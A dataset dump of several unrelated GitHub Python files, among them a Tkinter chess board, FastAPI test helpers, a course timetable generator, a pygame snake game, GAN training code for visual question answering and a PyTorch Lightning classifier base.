width=\"10\", height=\"5\", command=click_D5).grid(column=5, row=4)\n\nButton(fg=\"red\", text=\"red\", width=\"10\", height=\"5\", command=click_B8).grid(column=3, row=1)\nButton(fg=\"red\", text=\"red\", width=\"10\", height=\"5\", command=click_D8).grid(column=5, row=1)\nButton(fg=\"red\", text=\"red\", width=\"10\", height=\"5\", command=click_A7).grid(column=2, row=2)\nButton(fg=\"red\", text=\"red\", width=\"10\", height=\"5\", command=click_C7).grid(column=4, row=2)\nButton(fg=\"red\", text=\"red\", width=\"10\", height=\"5\", command=click_B6).grid(column=3, row=3)\nButton(fg=\"red\", text=\"red\", width=\"10\", height=\"5\", command=click_D6).grid(column=5, row=3)\nButton(fg=\"red\", text=\"red\", width=\"10\", height=\"5\", command=click_A5).grid(column=2, row=4)\nButton(fg=\"red\", text=\"red\", width=\"10\", height=\"5\", command=click_C5).grid(column=4, row=4)\n\ntext=Text()\ntext.grid(column=6, row=1, rowspan=8, sticky=NSEW)\n\nroot.mainloop()\n\n","repo_name":"imalikova/PythonLearn","sub_path":"MODULE 1/Lesson 10-02 Chess.py","file_name":"Lesson 10-02 Chess.py","file_ext":"py","file_size_in_byte":4573,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"33796955905","text":"import pprint\n\nfrom requests import Response\n\nfrom fastapi_server.resources.database.postgres import create_db_session\nfrom fastapi_server.apps.users.core import create_user\nfrom fastapi_server.apps.users.database.postgres import get_user_db\nfrom fastapi_server.apps.users.models import User\nfrom fastapi_server.apps.users.schemas import ActiveUser, UserCreate\n\n\ndef user_to_active_user(user: User) -> ActiveUser:\n    return ActiveUser(\n        user_id=user.id,\n        email=user.email,\n        first_name=user.first_name,\n    )\n\n\ndef user_dict_to_active_user(user: dict) -> ActiveUser:\n    return ActiveUser(\n        user_id=user[\"id\"],\n        email=user[\"email\"],\n        first_name=user[\"first_name\"],\n    )\n\n\nasync def create_test_user(email: str):\n    db_session = create_db_session()()\n    users_db = get_user_db(db_session)\n    user = await create_user(\n        users_db,\n        UserCreate(\n            email=email,\n            password=\"SuperSecret1!\",\n            first_name=\"Test\",\n            last_name=\"User\",\n            is_active=True,\n            is_verified=True,\n        ),\n    )\n    await db_session.close()\n    assert user.id is not None\n    return user\n\n\ndef assert_response(response: Response, status_code, return_json=True):\n    try:\n        assert response.status_code == status_code\n    except Exception as e:\n        print(\"=============== FAILED RESPONSE ==============\")\n        pprint.pprint(response.text)\n        print(\"================ END RESPONSE ================\")\n        raise e\n\n    if return_json:\n        return response.json()\n","repo_name":"hapflows/compose-stack","sub_path":"backend/fastapi_server/tests/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1570,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"33962401589","text":"from classes import *\nfrom html_fetch import fetch\nfrom itertools import product\nimport glob\nimport os\nimport pandas as pd\nimport json\nimport time\nfrom collections import Counter\n\n\ndef gen_course(course_code: str, session: str):\n    data = json.loads(fetch(course_code, session))\n    if data[\"payload\"] is None:\n        return course_code\n\n    course_data = data[\"payload\"][\"pageableCourse\"][\"courses\"][0]\n\n    return_course = Course(course_code)\n\n    temp_section_list = []\n\n    for section in course_data[\"sections\"]:\n        if check_enrol_control(section):\n            section_class = Section(course_code, section[\"name\"], section[\"linkedMeetingSections\"])\n            for meeting in section[\"meetingTimes\"]:\n                day = meeting[\"start\"][\"day\"]\n                start = meeting[\"start\"][\"millisofday\"]//1000//60//60\n                end = meeting[\"end\"][\"millisofday\"]//1000//60//60\n                section_class.fill_cal(day, start, end)\n            if section[\"type\"] == \"Lecture\":\n                for lec in return_course.lectures:\n                    if np.array_equal(lec.times, section_class.times):\n                        lec.similar_sections.append(section_class)\n                        temp_section_list.append(section_class)\n                        continue\n                if section_class not in temp_section_list:\n                    return_course.lectures.append(section_class)\n            elif section[\"type\"] == \"Tutorial\":\n                for tut in return_course.tutorials:\n                    if np.array_equal(tut.times, section_class.times):\n                        tut.similar_sections.append(section_class)\n                        temp_section_list.append(section_class)\n                        continue\n                if section_class not in temp_section_list:\n                    return_course.tutorials.append(section_class)\n            elif section[\"type\"] == \"Practical\":\n                for pra in return_course.practicals:\n                    if np.array_equal(pra.times, section_class.times):\n                        pra.similar_sections.append(section_class)\n                        temp_section_list.append(section_class)\n                        continue\n                if section_class not in temp_section_list:\n                    return_course.practicals.append(section_class)\n\n    return return_course\n\n\ndef gen_schedules(section_combos: list[list[Section]], filters: FiltersPackage):\n    return_list = []\n    conflict_list = []\n    for sc in section_combos:\n        if check_valid_schedule(sc, filters.dow_selected, filters.dow_hard_enforce):\n            return_list.append(gen_schedule(sc, filters))\n        else:\n            conflict_list.extend(find_conflicts(sc))\n    return return_list, conflict_list\n\n\ndef gen_schedule(section_combo, filters: FiltersPackage):\n    return_sched = np.zeros((5, 12))\n    counter = 1\n\n    for section in section_combo:\n        test = section.times * counter\n        return_sched = return_sched + test\n        counter += 1\n\n    return Schedule(return_sched.transpose(), section_combo, filters)\n\n\ndef find_conflicts(sc: list[Section]):\n    base = np.zeros((5, 12))\n\n    return_list = []\n    for sec in sc:\n        base = base + sec.times\n        if not (base <= 1).all():\n            return_list.append(sec.course_code)\n            base[base != 0] = 1\n    return return_list\n\n\ndef check_enrol_control(section):\n    for i in section[\"enrolmentControls\"]:\n        if i[\"primaryOrg\"][\"code\"] == \"ARTSC\" or i[\"primaryOrg\"][\"code\"] == \"*\":\n            return True\n    return False\n\n\ndef check_valid_schedule(sections, dow_selected: list[int], dow_hard_enforce: bool):\n    result = None\n    if not sections:\n        return False\n    for section in sections:\n        ar = np.array(section.times)\n        if result is None:\n            result = ar\n        else:\n            result = result+ar\n            if dow_hard_enforce:\n                for day in dow_selected:\n                    if not (result[day] == 0).all():\n                        return False\n            if not (result <= 1).all():\n                return False\n\n        if section.linked_sections:\n            for link in section.linked_sections:\n                if not any(x.course_code+x.section_code == section.course_code+link for x in sections):\n                    return False\n\n    return True\n\n\ndef create_files(schedules, semester):\n    to_del = glob.glob(f\"{semester}_*.csv\") + glob.glob(f\"{semester}_*.xlsx\")\n    for f in to_del:\n        os.remove(f)\n\n    for i in range(min(5, len(schedules))):\n\n        np.savetxt(f\"{semester}_schedule_{i}.csv\", schedules[i].schedule, delimiter=\",\", fmt=\"%s\")\n    all_files = glob.glob(f\"{semester}_*.csv\")\n\n    writer = pd.ExcelWriter(f\"{semester}_schedules.xlsx\", engine=\"xlsxwriter\")\n\n    for f in all_files:\n        df = pd.read_csv(f)\n        df.to_excel(writer, sheet_name=os.path.basename(f), header=False, index=False)\n        writer.sheets[os.path.basename(f)].set_column(0, 7, 30)\n\n    writer.save()\n\n\ndef string_code(sec):\n    return \" \" + sec.section_code if not sec.similar_sections else \" \" + sec.section_code[:3]\n\n\ndef run_program(fall_cl: list[str], winter_cl: list[str], filters: FiltersPackage):\n    t = time.time()\n    fall_schedules = program_meat(fall_cl, \"f\", filters)\n    if not isinstance(fall_schedules, list):\n        return fall_schedules\n    else:\n        fall_schedules.sort(key=lambda x: x.score, reverse=True)\n    winter_schedules = program_meat(winter_cl, \"s\", filters)\n    if not isinstance(winter_schedules, list):\n        return winter_schedules\n    else:\n        winter_schedules.sort(key=lambda x: x.score, reverse=True)\n\n    fall_scores = dict(Counter(x.score for x in fall_schedules))\n    winter_scores = dict(Counter(x.score for x in winter_schedules))\n\n    for i in fall_schedules:\n        counter = 1\n        i.schedule = i.schedule.astype(\"object\")\n        for section in i.section_combo:\n            i.schedule[i.schedule == counter] = section.course_code + string_code(section)\n            counter += 1\n        i.schedule[i.schedule == 0] = \"\"\n\n    for i in winter_schedules:\n        counter = 1\n        i.schedule = i.schedule.astype(\"object\")\n\n        for section in i.section_combo:\n            i.schedule[i.schedule == counter] = section.course_code + string_code(section)\n            counter += 1\n        i.schedule[i.schedule == 0] = \"\"\n\n    return [fall_schedules, winter_schedules]\n\n\ndef program_meat(course_list: list[str], session: str, filters: FiltersPackage):\n    courses: list[Course] = []\n    sections = []\n\n    for course in course_list:\n        gen = gen_course(course, session)\n        if not isinstance(gen, Course):\n            return CustomException(\"Existence\", gen)\n        courses.append(gen)\n        if gen.lectures:\n            sections.append(gen.lectures)\n        if gen.tutorials:\n            sections.append(gen.tutorials)\n        if gen.practicals:\n            sections.append(gen.practicals)\n\n    courses.sort(key=lambda x: (len(x.lectures)+len(x.tutorials)))\n\n    section_combos = [list(t) for t in list(product(*sections))]\n    schedules = gen_schedules(section_combos, filters)\n\n    if schedules[0] != []:\n        schedules[0].sort(key=lambda x: x.score, reverse=True)\n        return schedules[0]\n    elif schedules[1] == []:\n        return schedules[0]\n    else:\n        temp = Counter(schedules[1])\n        return CustomException(\"Conflict\", max(temp, key=temp.get))\n\n\ndef select_schedules(schedules, fall_best_score, winter_best_score):\n    fall_selected = []\n    winter_selected = []\n\n    if fall_best_score is not None:\n        fall_bests = [sch for sch in schedules[0] if sch.score == fall_best_score]\n        current_fall = None\n        for sched in fall_bests:\n            if current_fall is None:\n                fall_selected.append(sched)\n                current_fall = sched\n                continue\n            if np.sum(current_fall.schedule != sched.schedule) >= 4:\n                fall_selected.append(sched)\n                current_fall = sched\n\n    if winter_best_score is not None:\n        winter_bests = [sch for sch in schedules[1] if sch.score == winter_best_score]\n        current_winter = None\n        for sched in winter_bests:\n            if current_winter is None:\n                winter_selected.append(sched)\n                current_winter = sched\n                continue\n            if np.sum(current_winter.schedule != sched.schedule) >= 4:\n                winter_selected.append(sched)\n                current_winter = sched\n\n    return [fall_selected, winter_selected]\n","repo_name":"elinsooon/TTB-Prod","sub_path":"utility.py","file_name":"utility.py","file_ext":"py","file_size_in_byte":8574,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"8979314501","text":"from flask_restful import Resource\n\nfrom app.util.reqargs import with_args, Argument\nfrom app.util.abi_data import create_transaction\nfrom app.util.types import address\nfrom eth_utils import to_bytes\n\n\nclass TCRExit(Resource):\n    path = \"/tcr/<addr>/exit\"\n\n    @with_args(\n        Argument(\"sender\", type=address),\n        Argument(\"dataHash\", type=str, dest=\"data_hash\"),\n    )\n    def post(self, addr, sender, data_hash):\n        return create_transaction(\n            sender,\n            addr,\n            \"exit(address,bytes32)\",\n            (\"address\", sender),\n            (\"bytes32\", to_bytes(hexstr=data_hash)),\n        )\n\n","repo_name":"prin-r/tcrapi","sub_path":"app/api/tcr/exit.py","file_name":"exit.py","file_ext":"py","file_size_in_byte":632,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"10088751123","text":"import pygame, random\r\nimport globaler\r\n\r\nclass Point():\r\n\tx, y = 0, 0\r\n\tdef __init__(self, xx, yy):\r\n\t\tself.x = xx\r\n\t\tself.y = yy\r\n\tdef copy(self):\r\n\t\treturn Point(self.x, self.y)\r\n\r\npygame.init()\r\nRight = globaler.get(\"Right\")\r\nDown = globaler.get(\"Down\")\r\nColbak = (154, 255, 154)\r\nBrown = (139, 105, 20)\r\nRed = (205, 85, 85)\r\nOrange = (255, 127, 0)\r\nYellow = (255, 255, 0)\r\nGreen = (34, 139, 34)\r\nBlue = (0, 0, 255)\r\nQing = (0, 205, 102)\r\nPurple = (148, 0, 211)\r\nBlack = (0, 0, 0)\r\ndisplay = pygame.display\r\nscreen = display.set_mode([Right, Down])\r\ndraw = pygame.draw\r\n\r\ndef rectT(point, col, size=10):\r\n\tdraw.rect(screen, col, (point.x, point.y, size, size))\r\n\r\ndef rect():\r\n\thead = globaler.get(\"head\")\r\n\tfood = globaler.get(\"food\")\r\n\tsnake = globaler.get(\"snake\")\r\n\tdraw.rect(screen, Colbak, (0, 0, Right, Down))\r\n\trectT(head, Red)\r\n\trectT(food, Brown)\r\n\ttim = 0\r\n\tfor body in snake:\r\n\t\ttim = tim + 1\r\n\t\tif tim <= 9: rectT(body, Red)\r\n\t\telif tim <= 20: rectT(body, Orange)\r\n\t\telif tim <= 30: rectT(body, Yellow)\r\n\t\telif tim <= 40: rectT(body, Green)\r\n\t\telif tim <= 50: rectT(body, Blue)\r\n\t\telif tim <= 60: rectT(body, Qing)\r\n\t\telif tim <= 70: rectT(body, Purple)\r\n\t\tif tim == 70: tim = 0\r\n\tdisplay.update()\r\n\r\ndef move():\r\n\tdir = globaler.get(\"dir\")\r\n\thead = globaler.get(\"head\")\r\n\tadd = globaler.get(\"add\")\r\n\tif dir == 'left': head.x -= add\r\n\tif dir == 'right': head.x += add\r\n\tif dir == 'up': head.y -= add\r\n\tif dir == 'down': head.y += add\r\n\thead.x = int(head.x)\r\n\thead.y = int(head.y)\r\n\tglobaler.upd(\"dir\", dir)\r\n\tglobaler.upd(\"head\", head)\r\n\r\ndef getFood():\r\n\tsnake = globaler.get(\"snake\")\r\n\thead = globaler.get(\"head\")\r\n\twhile 1:\r\n\t\ttmp = Point(random.randint(10, Right - 20), random.randint(10, Down - 20))\r\n\t\ttag = 0\r\n\t\tif tmp == head: continue\r\n\t\tfor body in snake:\r\n\t\t\tif tmp == body:\r\n\t\t\t\ttag = 1\r\n\t\t\t\tbreak\r\n\t\tif not tag: break\r\n\treturn tmp\r\n\r\ndef eat():\r\n\tfood = globaler.get(\"food\")\r\n\thead = globaler.get(\"head\")\r\n\tsnake = globaler.get(\"snake\")\r\n\tmark = globaler.get(\"mark\")\r\n\tdir = globaler.get(\"dir\")\r\n\tflag = abs(head.y - food.y) <= 4 and abs(head.x - food.x) <= 4\r\n\tif flag:\r\n\t\tmark += 1\r\n\t\tsnake.append(food.copy())\r\n\t\tfood = getFood()\r\n\telse:\r\n\t\tsnake.insert(0, head.copy())\r\n\t\tsnake.pop()\r\n\tglobaler.upd(\"food\", food)\r\n\tglobaler.upd(\"head\", head)\r\n\tglobaler.upd(\"snake\", snake)\r\n\tglobaler.upd(\"mark\", mark)\r\n\r\ndef dead():\r\n\thead = globaler.get(\"head\")\r\n\tsnake = globaler.get(\"snake\")\r\n\tdead = 0\r\n\tif head.x < 0 or head.y < 0 or head.x >= Right or head.y >= Down: dead = 1\r\n\tfor body in snake:\r\n\t\tif head.x == body.x and head.y == body.y:\r\n\t\t\tdead = 1\r\n\t\t\tbreak\r\n\tif dead: return 1\r\n\treturn 0","repo_name":"potatoQi/Game-Snake","sub_path":"fun.py","file_name":"fun.py","file_ext":"py","file_size_in_byte":2620,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"18180577853","text":"'''\nFaça um programa que gere aleatoriamente duas listas de 10 posições (valores entre 1 e 50) e calcule\noutra lista contendo, nas posições pares os valores da primeira lista e nas posições ímpares os valores da\nsegunda lista.\n'''\n\nfrom random import randint\nA = []\nB = []\nC = []\n\nfor i in range(10):\n    A.append(randint(1,50))\n    B.append(randint(1,50))\nprint('A ->',A)\nprint('B ->',B)\n\nfor i in range(10):\n    C.append(A[i])\n    C.append(B[i])\nprint('C ->',C)","repo_name":"PabloHenrique/AulasPython-Fatec","sub_path":"Exercícios/Microinformática/Termo II/Lista 04/exe03.py","file_name":"exe03.py","file_ext":"py","file_size_in_byte":471,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"}
{"seq_id":"18434661809","text":"import torch\nimport torch.nn as nn\nimport torchvision\nimport numpy as np\nfrom torch.autograd import Variable\nimport torch.autograd as autograd\nimport torch.nn.functional as F\n\nclass ConvBlock(nn.Module):\n    \"\"\"\n    Helper module that consists of a Conv -> BN -> ReLU\n    \"\"\"\n\n    def __init__(self, in_channels, out_channels, padding=1, kernel_size=3, stride=1, with_nonlinearity=True):\n        super(ConvBlock,self).__init__()\n        self.conv = nn.Conv2d(in_channels, out_channels, padding=padding, kernel_size=kernel_size, stride=stride)\n        self.bn = nn.BatchNorm2d(out_channels)\n        self.relu = nn.ReLU()\n        self.with_nonlinearity = with_nonlinearity\n\n    def forward(self, x):\n        x = self.conv(x)\n        x = self.bn(x)\n        if self.with_nonlinearity:\n            x = self.relu(x)\n        return x\n\n\ndef compute_gradient_penalty(D, real_samples, fake_samples, cond=None, mode=\"wgan\"):\n\n    \"\"\"Calculates the gradient penalty loss for WGAN GP\"\"\"\n    # Random weight term for interpolation between real and fake samples\n    Tensor = torch.cuda.FloatTensor\n    if mode == \"wgan\":\n        alpha = Tensor(np.random.random((real_samples.size(0), 1, 1, 1)))\n    else:\n        alpha = Tensor(np.random.random((real_samples.size(0), 1)))\n\n    # Get random interpolation between real and fake samples\n    interpolates = alpha * real_samples + ((1 - alpha) * fake_samples)\n    interpolates = Variable(interpolates, requires_grad=True)\n\n    d_interpolates = D(interpolates)\n    fake = Variable(Tensor(real_samples.shape[0], 1).fill_(1.0), requires_grad=False)\n    # Get gradient w.r.t. interpolates\n    gradients = autograd.grad(\n        outputs=d_interpolates,\n        inputs=interpolates,\n        grad_outputs=fake,\n        create_graph=True,\n        retain_graph=True,\n        only_inputs=True,\n    )[0]\n    gradients = gradients.view(gradients.size(0), -1)\n    gradient_penalty = ((gradients.norm(2, dim=1) - 1) ** 2).mean()\n    return gradient_penalty\n\n\ndef run_wgan(G, D, optimizer_D, penality, critic, h, v):\n\n    Tensor = torch.cuda.FloatTensor\n    bs = h.size(0)\n\n    #confidional is last hidden state\n    cond = h\n\n    #tiling h to match v dimension\n    cond_tiled = cond.view(bs, cond.size(1), 1, 1)\n    tiled_dims = [-1, -1, 6, 6]\n    cond_tiled = cond_tiled.expand(*tiled_dims)\n    #reshaping v\n    v = v.permute(0,2,1).view(bs, -1, 6, 6).contiguous().detach()\n\n    z = Variable(Tensor(np.random.normal(0, 1, (bs, 512))))\n    G.zero_grad()\n    ret_fake_imgs = G(h)\n    g_loss = -torch.mean(D(ret_fake_imgs))\n\n    d_loss = torch.zeros(1)\n    for _ in range(critic):\n\n        if(g_loss<1.0):\n\n            optimizer_D.zero_grad()\n            D.zero_grad()\n            # Generate a batch of images\n            z = Variable(Tensor(np.random.normal(0, 1, (bs, 512))))\n            # g_input = torch.cat((cond.detach(), z), dim=-1)\n            fake_imgs = G(cond.detach())\n\n            # Real images\n            d_input1 = v\n            d_input2 = fake_imgs\n            real_validity = D(d_input1)\n            fake_validity = D(d_input2)\n\n            # Gradient penalty\n            gradient_penalty = compute_gradient_penalty(D, v.data, fake_imgs.data, None, mode=\"wgan\")\n            # Adversarial loss\n            d_loss = -torch.mean(real_validity) + torch.mean(fake_validity) + penality * gradient_penalty\n            d_loss.backward()\n            optimizer_D.step()\n\n    # print(g_loss, d_loss)\n    return g_loss, d_loss, ret_fake_imgs, v\n#\n# def run_waae(G, D, optimizer_D, penality, critic, h, v):\n#     import math\n#     def log_density_igaussian(z, z_var):\n#         \"\"\"Calculate log density of zero-mean isotropic gaussian distribution given z and z_var.\"\"\"\n#         assert z.ndimension() == 2\n#         assert z_var > 0\n#\n#         z_dim = z.size(1)\n#\n#         return -(z_dim / 2) * math.log(2 * math.pi * z_var) + z.pow(2).sum(1).div(-2 * z_var)\n#\n#     Tensor = torch.cuda.FloatTensor\n#     z_sample = h\n#     bs = h.size(0)\n#\n#     ones = Variable(torch.ones(z_sample.shape[0], 1)).cuda()\n#     zeros = Variable(torch.zeros(z_sample.shape[0], 1)).cuda()\n#\n#     # z = Variable(Tensor(np.random.normal(0, 1, (z_sample.shape[0], self.num_hid))))\n#     z = Variable(math.sqrt(2) * torch.randn(z_sample.shape[0], 1024)).cuda()\n#     log_p_z = log_density_igaussian(z, 2).view(-1, 1)\n#\n#     D_fake = D(z)\n#     D_real = D(z_sample.detach())\n#     if critic == 5:\n#         loss_d = F.binary_cross_entropy_with_logits(D_fake + log_p_z, ones) + \\\n#                  F.binary_cross_entropy_with_logits(D_real + log_p_z, zeros)\n#     else:\n#         loss_d = F.binary_cross_entropy_with_logits(D_fake, ones) + \\\n#                  F.binary_cross_entropy_with_logits(D_real, zeros)\n#\n#     gradient_penalty = compute_gradient_penalty(D, z_sample.data, z.data, mode=\"waae\")\n#\n#     D_loss = loss_d + penality * gradient_penalty\n#\n#     optimizer_D.zero_grad()\n#     loss_d.backward()\n#     optimizer_D.step()\n#\n#     # enc-dec part\n#     fake_imgs = G(z_sample)\n#     if critic == 5:\n#         G_loss = F.binary_cross_entropy_with_logits(D_real.detach() + log_p_z, ones)\n#     else:\n#         G_loss = F.binary_cross_entropy_with_logits(D_real.detach(), ones)\n#     v = v.permute(0,2,1).view(bs,-1, 6, 6)\n#     return G_loss, D_loss, fake_imgs, v\n\n\ndef run_waae(G, D, optimizer_D, penality, critic, h, v):\n    Tensor = torch.cuda.FloatTensor\n    bs = h.size(0)\n    z_sample = h.detach()\n\n    ones = Variable(torch.ones(z_sample.shape[0], 1)).cuda()\n    zeros = Variable(torch.zeros(z_sample.shape[0], 1)).cuda()\n\n    # enc-dec part\n    fake_imgs = G(h)\n    D_fake = D(h)\n    # print(D[0].weight)\n    G_loss = F.binary_cross_entropy_with_logits(D_fake, ones)\n    v = v.permute(0,2,1).view(bs,-1, 6, 6)\n\n    D_loss = torch.zeros(1)\n    for _ in range(critic):\n\n        if(G_loss<1.0):\n\n            optimizer_D.zero_grad()\n            D.zero_grad()\n\n            z = Variable(Tensor(np.random.normal(0, 1, (z_sample.shape[0], 1024))), requires_grad=False)\n\n            D_real = D(z)\n            D_fake = D(z_sample)\n\n            gradient_penalty = compute_gradient_penalty(D, z_sample.data, z.data, mode=\"waae\")\n\n            D_loss = F.binary_cross_entropy_with_logits(D_fake, zeros) + \\\n                                 F.binary_cross_entropy_with_logits(D_real, ones)  + penality * gradient_penalty\n\n            D_loss.backward()\n            optimizer_D.step()\n\n\n    # print(G_loss, D_loss)\n    return G_loss, D_loss, fake_imgs, v\n\n\n\nclass Generator(nn.Module):\n    def __init__(self, noise_dim):\n        super(Generator, self).__init__()\n        self.noise_dim = noise_dim\n        # self.up_block = nn.Sequential(\n        #         ConvBlock(1024+self.noise_dim, 512, kernel_size=2),\n        #         nn.ConvTranspose2d(512, 512, kernel_size=3, stride=2),\n        #         ConvBlock(512, 256, kernel_size=2),\n        #         nn.ConvTranspose2d(256, 256, kernel_size=3, stride=2),\n        #         ConvBlock(256, 256, kernel_size=2),\n        #     )\n\n        # self.up_block = nn.Sequential(\n        #         nn.ConvTranspose2d(1024+self.noise_dim, 512, kernel_size=3),\n        #     nn.ConvTranspose2d(512, 512, kernel_size=2, stride=2),\n            # ConvBlock(512, 256, kernel_size=2),\n            # nn.ConvTranspose2d(256, 256, kernel_size=2, stride=2),\n            # ConvBlock(256, 512, kernel_size=2),\n            # nn.ConvTranspose2d(512, 512, kernel_size=2, stride=2),\n            # ConvBlock(512, 1024, kernel_size=3),\n        #     )\n\n        #feat36\n        self.up_block = nn.Sequential(\n        ConvBlock(1024+self.noise_dim, 512, kernel_size=2),\n        nn.ConvTranspose2d(512, 512, kernel_size=3, stride=2),\n        ConvBlock(512, 2048, kernel_size=2),\n\n\n        )\n\n\n\n    def forward(self, x):\n        bs = x.size(0)\n        x = x.view(bs, -1, 1, 1)\n        x = self.up_block(x)\n        return x\n\n\n\n\nclass Discriminator(nn.Module):\n    def __init__(self, num_hid=1024):\n\n        super(Discriminator, self).__init__()\n        self.num_hid = num_hid\n\n        # basic_block = torchvision.models.resnet.BasicBlock\n        # self.layer4 = _make_layer(1024+256, basic_block, 512, 2, stride=2)\n        # self.avgpool = nn.AdaptiveAvgPool2d((1, 1))\n        # self.fc = nn.Linear(512, 1)\n        #\n\n        # self.layer4 = _make_layer(1024, basic_block, 512, 6, stride=2)\n        # self.avgpool = nn.AdaptiveAvgPool2d((1, 1))\n\n        # self.down_blocks = nn.Sequential(\n        #     ConvBlock(256, 256, kernel_size=3),\n        #     nn.MaxPool2d(kernel_size=3, stride=2, padding=1),\n        #     ConvBlock(256, 128, kernel_size=3),\n        #     nn.MaxPool2d(kernel_size=3, stride=2, padding=1),\n        #     ConvBlock(128, 128, kernel_size=3)\n        # )\n        # self.fc = nn.Linear(2048, 1)\n\n        #36 feat\n        # self.down_blocks = nn.Sequential(\n        #\n        #     ConvBlock(2048+self.num_hid, 512, kernel_size=3),\n        #     nn.MaxPool2d(kernel_size=3, stride=2, padding=1),\n        #     ConvBlock(512, 256, kernel_size=3),\n        #     nn.MaxPool2d(kernel_size=3, stride=2, padding=1),\n        #     ConvBlock(256, 128, kernel_size=3),\n        #\n        # )\n        # self.fc = nn.Linear(512, 1)\n\n        self.input = nn.Sequential(\n            nn.Linear(2048 + self.num_hid, 512),\n            nn.ReLU(),\n        )\n\n        self.down_blocks = nn.Sequential(\n            ConvBlock(512, 256, kernel_size=3),\n            nn.MaxPool2d(kernel_size=3, stride=2, padding=1),\n            ConvBlock(256, 128, kernel_size=3),\n\n        )\n\n        self.fc = nn.Linear(128*3*3, 1)\n\n\n    def forward(self, x):\n        x = x.view(x.size(0), -1, x.size(1))\n        x = self.input(x)\n        x = x.view(x.size(0), x.size(2), 6, 6)\n        x = self.down_blocks(x)\n        x = x.view(x.size(0), -1)\n        x = self.fc(x)\n        return x\n","repo_name":"anon0001/adv_rec","sub_path":"VQA/adversarial.py","file_name":"adversarial.py","file_ext":"py","file_size_in_byte":9784,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"10145972970","text":"from typing import Any, Optional, Union, List\nfrom abc import ABC, abstractmethod\n\nimport torch\nimport torch.nn.functional as F\n\nimport pytorch_lightning as pl\nfrom pytorch_lightning.utilities.types import STEP_OUTPUT, EPOCH_OUTPUT\n\nfrom utils.metrics import auroc, accuracy, f1\nfrom utils.config_utils import LearningConf, ClassificationParamsConf\n\n\nclass BaseModel(pl.LightningModule, ABC):\n\n    def __init__(self, output_dim: int, *args: Any, **kwargs: Any) -> None:\n        super().__init__(*args, **kwargs)\n        self.output_dim = output_dim\n\n    @abstractmethod\n    def forward(\n        self,\n        mcc_seqs: torch.Tensor,\n        amnt_weights: torch.Tensor,\n        lengths: torch.Tensor,\n        avg_amnt: Optional[torch.Tensor],\n        top_mcc: Optional[torch.Tensor],\n        *args: Any,\n        **kwargs: Any\n    ) -> Any:\n        raise NotImplementedError()\n    \n\n    def _mean_pooling(self, outputs: torch.Tensor, lengths: torch.Tensor) -> torch.Tensor:\n        max_length = outputs.size(1)\n        mask = torch.vstack(\n            [torch.cat([torch.zeros(length), \n            torch.ones(max_length - length)]) for length in lengths]\n        )\n        mask = mask.bool().to(outputs.device).unsqueeze(-1)\n        outputs.masked_fill_(mask, 0)\n        feature_vector = outputs.sum(1) / lengths.unsqueeze(-1)\n        return feature_vector\n    \n\n    def training_step(self, batch: torch.Tensor, batch_idx: int) -> STEP_OUTPUT:\n        mcc_seqs, amnt_seqs, labels, lengths, avg_amnt, top_mcc = batch\n        logits = self(mcc_seqs, amnt_seqs, lengths, avg_amnt, top_mcc)\n        loss = F.binary_cross_entropy_with_logits(logits, labels.float()) if self.output_dim == 1 else \\\n                F.cross_entropy(logits, labels)\n        self.log('train_loss', loss)\n        return {\n            'loss': loss,\n            'probs': torch.sigmoid(logits) if self.output_dim == 1 else torch.argmax(logits, dim=1),\n            'labels': labels\n        }\n    \n\n    def training_epoch_end(self, outputs: torch.Tensor) -> Optional[STEP_OUTPUT]:\n        probs  = torch.cat([o['probs']  for o in outputs])\n        labels = torch.cat([o['labels'] for o in outputs])\n        if self.output_dim == 1:\n            self.log('train_auroc', auroc(probs, labels))\n        else:\n            self.log('train_accuracy', accuracy(probs, labels))\n            self.log('train_f1', f1(probs, labels))\n    \n\n    def validation_step(self, batch: torch.Tensor, batch_idx: int) -> Optional[STEP_OUTPUT]:\n        mcc_seqs, amnt_seqs, labels, lengths, avg_amnt, top_mcc = batch\n        logits = self(mcc_seqs, amnt_seqs, lengths, avg_amnt, top_mcc)\n        probs = torch.sigmoid(logits) if self.output_dim == 1 else torch.argmax(logits, dim=1)\n        return probs, labels\n\n\n    def validation_epoch_end(self, outputs: Union[EPOCH_OUTPUT, List[EPOCH_OUTPUT]]) -> None:\n        probs, labels = zip(*outputs)\n        probs, labels = torch.cat(probs), torch.cat(labels)\n        if self.output_dim == 1:\n            self.log('val_auroc', auroc(probs, labels), prog_bar=True)\n        else:\n            self.log('val_accuracy', accuracy(probs, labels))\n            self.log('val_f1', f1(probs, labels), prog_bar=True)\n\n\n    def test_step(self, batch: torch.Tensor, batch_idx: int) -> Optional[STEP_OUTPUT]:\n        mcc_seqs, amnt_seqs, labels, lengths, avg_amnt, top_mcc = batch\n        logits = self(mcc_seqs, amnt_seqs, lengths, avg_amnt, top_mcc)\n        probs = torch.sigmoid(logits) if self.output_dim == 1 else torch.argmax(logits, dim=1)\n        return probs, labels\n    \n\n    def test_epoch_end(self, outputs: Union[EPOCH_OUTPUT, List[EPOCH_OUTPUT]]) -> None:\n        probs, labels = zip(*outputs)\n        probs, labels = torch.cat(probs), torch.cat(labels)\n        if self.output_dim == 1:\n            self.log('test_auroc', auroc(probs, labels), prog_bar=True)\n        else:\n            self.log('test_accuracy', accuracy(probs, labels), prog_bar=True)\n            self.log('test_f1', f1(probs, labels), prog_bar=True)\n","repo_name":"nokiroki/NLP-Transactions","sub_path":"models/classification/base_model.py","file_name":"base_model.py","file_ext":"py","file_size_in_byte":4001,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
